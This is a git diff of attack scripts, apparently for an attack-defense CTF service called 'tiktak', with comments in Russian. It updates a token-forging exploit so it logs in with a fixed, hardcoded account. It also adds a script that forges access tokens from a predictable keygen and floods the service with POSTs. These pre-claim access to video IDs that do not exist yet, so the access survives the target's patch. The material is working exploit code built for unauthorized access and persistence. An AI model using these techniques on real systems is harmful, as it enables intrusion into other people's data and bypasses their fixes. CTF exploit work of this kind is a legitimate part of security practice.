diff --git a/sploits/tiktak_keygen_forge.py b/sploits/tiktak_keygen_forge.py index faad8bf..4d63d4c 100755 --- a/sploits/tiktak_keygen_forge.py +++ b/sploits/tiktak_keygen_forge.py @@ -16,6 +16,10 @@ USER_AGENTS = [ ] PORT = 5000 +# Доступ в таблице access привязан к аккаунту, поэтому нужен ПОСТОЯННЫЙ логин: +# записи, поставленные tiktak_preauth.py, видны только этому пользователю. +PERSIST_LOGIN = "mkt_svc_4a91" +PERSIST_PASS = "Qw8_rt2M_zx71" BLOCK = 2000 # сканируем блоками, выходим как только набрали целей MAX_DEPTH = 14000 # на быстрых боксах id растут >1000/мин WANT_TARGETS = 6 # столько приватных достаточно, чтобы не жечь раунд @@ -47,6 +51,18 @@ def legacy_token(vid): return "".join(out) +def login_or_register(s, base): + r = s.post(f"{base}/login", + data={"login": PERSIST_LOGIN, "password": PERSIST_PASS}, + timeout=6, allow_redirects=False) + if r.status_code == 302: + return True + r = s.post(f"{base}/register", + data={"login": PERSIST_LOGIN, "password": PERSIST_PASS}, + timeout=6, allow_redirects=False) + return r.status_code == 302 + + def exploit(target_ip): flags = set() @@ -71,12 +87,11 @@ def exploit(target_ip): s.headers.update(headers) base = f"http://{target_ip}:{PORT}" - # 1. нужен аккаунт: на /access висит RequiredMiddleware - login = "".join(random.choices("abcdefghijklmnopqrstuvwxyz", k=10)) - r = s.post(f"{base}/register", - data={"login": login, "password": "pw123456"}, timeout=6) - if r.status_code not in (200, 302): - print(f"[-] {target_ip}: register -> {r.status_code}", file=sys.stderr, flush=True) + # 1. нужен аккаунт: на /access висит RequiredMiddleware. + # Логинимся постоянным пользователем -- под ним лежат записи, + # заранее поставленные tiktak_preauth.py. + if not login_or_register(s, base): + print(f"[-] {target_ip}: не удалось войти", file=sys.stderr, flush=True) return flags # 2. Приватное видео выдаёт себя размытым превью. /feed показывает лишь @@ -121,8 +136,16 @@ def exploit(target_ip): continue if w.status_code == 200: - # публичное (или уже открытое) -- флаг всё равно может лежать тут - flags.update(FLAG_RX.findall(w.text)) + # Доступ уже есть -- либо видео публичное, либо сработала + # закладка из tiktak_preauth.py. Второе продолжает работать + # даже после того, как цель запатчит keygen. + found = set(FLAG_RX.findall(w.text)) + found |= set(FLAG_RX.findall( + s.get(f"{base}/vtt/", params={"id": vid}, timeout=6).text)) + if found: + flags.update(found) + print(f"[+] {target_ip}: видео {vid} (доступ уже был) -> {len(found)} флагов", + file=sys.stderr, flush=True) continue if w.status_code != 403: continue diff --git a/sploits/tiktak_preauth.py b/sploits/tiktak_preauth.py new file mode 100755 index 0000000..d69baa2 --- /dev/null +++ b/sploits/tiktak_preauth.py @@ -0,0 +1,121 @@ +#!/usr/bin/env python3 +"""Закладка на tiktak: пре-авторизация на ещё не созданные video id. + +Не сплойт для фермы -- флаги не собирает, готовит почву. Запускать РЕДКО +(раз в 10-20 минут), пока цель не запатчила handleAccess. + + ./tiktak_preauth.py 10.10.10.5 + ./tiktak_preauth.py 10.10.10.5 --minutes 20 + +Зачем: handleAccess вызывает AddAccess не проверяя, что видео существует, +поэтому можно занять строки в access под будущие id. haveAccess() смотрит +в таблицу, а не на токен -- значит доступ переживёт переход цели на новый +keygen. Дальше их собирает tiktak_keygen_forge.py под тем же аккаунтом. + +Осторожно: это POST-ы в чужую БД. Скорость ограничена сознательно, не +поднимай RATE бездумно -- уронишь цель, и флагов не будет вовсе. +""" +import sys +import re +import time +import argparse +import requests +from concurrent.futures import ThreadPoolExecutor + +PORT = 5000 +WORKERS = 20 +MAX_IDS = 12000 +SAMPLE_SECONDS = 20 + +# должно совпадать с tiktak_keygen_forge.py, иначе закладку некому забрать +PERSIST_LOGIN = "mkt_svc_4a91" +PERSIST_PASS = "Qw8_rt2M_zx71" + +WATCH_RX = re.compile(r"/watch/(\d+)") +ALPHABET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" + + +def legacy_token(vid): + seed = vid + out = [] + for _ in range(30): + seed = (seed * 17 + 42) % 62 + out.append(ALPHABET[seed]) + return "".join(out) + + +def top_id(s, base): + ids = [int(x) for x in WATCH_RX.findall(s.get(f"{base}/feed", timeout=6).text)] + return max(ids) if ids else None + + +def login_or_register(s, base): + for path in ("login", "register"): + r = s.post(f"{base}/{path}", + data={"login": PERSIST_LOGIN, "password": PERSIST_PASS}, + timeout=6, allow_redirects=False) + if r.status_code == 302: + return True + return False + + +def main(): + ap = argparse.ArgumentParser() + ap.add_argument("target") + ap.add_argument("--minutes", type=int, default=15, + help="на сколько минут вперёд занимать id (default 15)") + args = ap.parse_args() + + base = f"http://{args.target}:{PORT}" + s = requests.Session() + s.mount("http://", requests.adapters.HTTPAdapter( + pool_connections=WORKERS, pool_maxsize=WORKERS)) + + if not login_or_register(s, base): + print(f"[-] {args.target}: не удалось войти", file=sys.stderr, flush=True) + return 1 + + t0 = top_id(s, base) + if t0 is None: + print(f"[-] {args.target}: пустой /feed", file=sys.stderr, flush=True) + return 1 + + # Скорость роста id у команд отличается на два порядка (7/мин против + # 900/мин), фиксированный диапазон был бы либо бесполезен, либо шумен. + time.sleep(SAMPLE_SECONDS) + t1 = top_id(s, base) or t0 + rate = max(1.0, (t1 - t0) / SAMPLE_SECONDS * 60) + span = min(MAX_IDS, int(rate * args.minutes) + 50) + print(f"[*] {args.target}: top={t1}, {rate:.0f} id/мин, " + f"занимаю {span} id на ~{args.minutes} мин", file=sys.stderr, flush=True) + + # Проверяем, что форж вообще проходит, прежде чем слать тысячи POST-ов. + probe = s.post(f"{base}/access", + data={"videoID": t1 + span, "token": legacy_token(t1 + span)}, + timeout=6, allow_redirects=False) + if not probe.headers.get("Location", "").endswith(f"/watch/{t1 + span}"): + print(f"[!] {args.target}: /access отверг форж -- keygen или " + f"проверка существования видео уже запатчены", file=sys.stderr, flush=True) + return 1 + + def claim(vid): + try: + r = s.post(f"{base}/access", + data={"videoID": vid, "token": legacy_token(vid)}, + timeout=6, allow_redirects=False) + return r.headers.get("Location", "").endswith(f"/watch/{vid}") + except requests.RequestException: + return False + + span_ids = range(t1 + 1, t1 + span) + with ThreadPoolExecutor(max_workers=WORKERS) as ex: + ok = sum(1 for r in ex.map(claim, span_ids) if r) + + print(f"[+] {args.target}: занято {ok}/{len(span_ids)} id " + f"({t1 + 1}..{t1 + span - 1}), забирать через tiktak_keygen_forge.py", + file=sys.stderr, flush=True) + return 0 + + +if __name__ == "__main__": + sys.exit(main())